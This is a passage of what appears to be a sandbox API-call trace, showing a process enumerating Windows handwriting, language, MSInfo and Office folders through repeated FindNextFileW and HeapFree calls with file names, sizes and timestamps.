hHeap=0x730000) returned 1 [0286.438] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0286.439] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed60a8 | out: hHeap=0x730000) returned 1 [0286.439] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.xml", cAlternateFileName="")) returned 1 [0286.440] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed60a8 | out: hHeap=0x730000) returned 1 [0286.440] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1 [0286.440] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed60a8 | out: hHeap=0x730000) returned 1 [0286.440] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0286.440] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed60a8 | out: hHeap=0x730000) returned 1 [0286.440] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknav.xml", cAlternateFileName="")) returned 1 [0286.440] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed60a8 | out: hHeap=0x730000) returned 1 [0286.440] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0286.441] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed60a8 | out: hHeap=0x730000) returned 1 [0286.441] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0286.441] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ed60a8 | out: hHeap=0x730000) returned 1 [0286.441] FindNextFileW (in: hFindFile=0x3e81b68, lpFindFileData=0x35bf08c | out: lpFindFileData=0x35bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0286.441] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec60a0 | out: hHeap=0x730000) returned 1 [0286.441] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0286.441] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec60a0 | out: hHeap=0x730000) returned 1 [0286.441] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0286.442] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec60a0 | out: hHeap=0x730000) returned 1 [0286.442] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0286.442] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.442] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0286.442] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.442] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0286.444] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.444] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0286.445] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.445] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0286.445] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.445] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1 [0286.446] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.446] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0286.446] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.446] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0286.446] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.446] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0286.447] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.447] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0286.447] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.447] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0286.447] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.447] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0286.447] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.447] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0286.447] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.447] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0286.448] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.448] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0286.448] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.448] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0286.448] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.448] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0286.448] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.448] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0286.449] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.449] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0286.449] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.449] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0286.449] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.449] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0286.449] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.449] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8ed8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0286.450] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.450] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c93df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0286.450] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.450] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0286.450] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.450] FindNextFileW (in: hFindFile=0x3e81ea8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0286.450] FindClose (in: hFindFile=0x3e81ea8 | out: hFindFile=0x3e81ea8) returned 1 [0286.450] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0286.451] FindNextFileW (in: hFindFile=0x3e81e68, lpFindFileData=0x35bf584 | out: lpFindFileData=0x35bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0286.452] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.452] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0286.452] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3eb2090 | out: hHeap=0x730000) returned 1 [0286.452] FindNextFileW (in: hFindFile=0x3e81e68, lpFindFileData=0x35bf584 | out: lpFindFileData=0x35bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0286.454] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x3ec2098 | out: hHeap=0x730000) returned 1 [0286.454] FindNextFileW (in: hFindFile=0x3e81da8, lpFindFileData=0x35bf308 | out: lpFindFileData=0x35bf308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 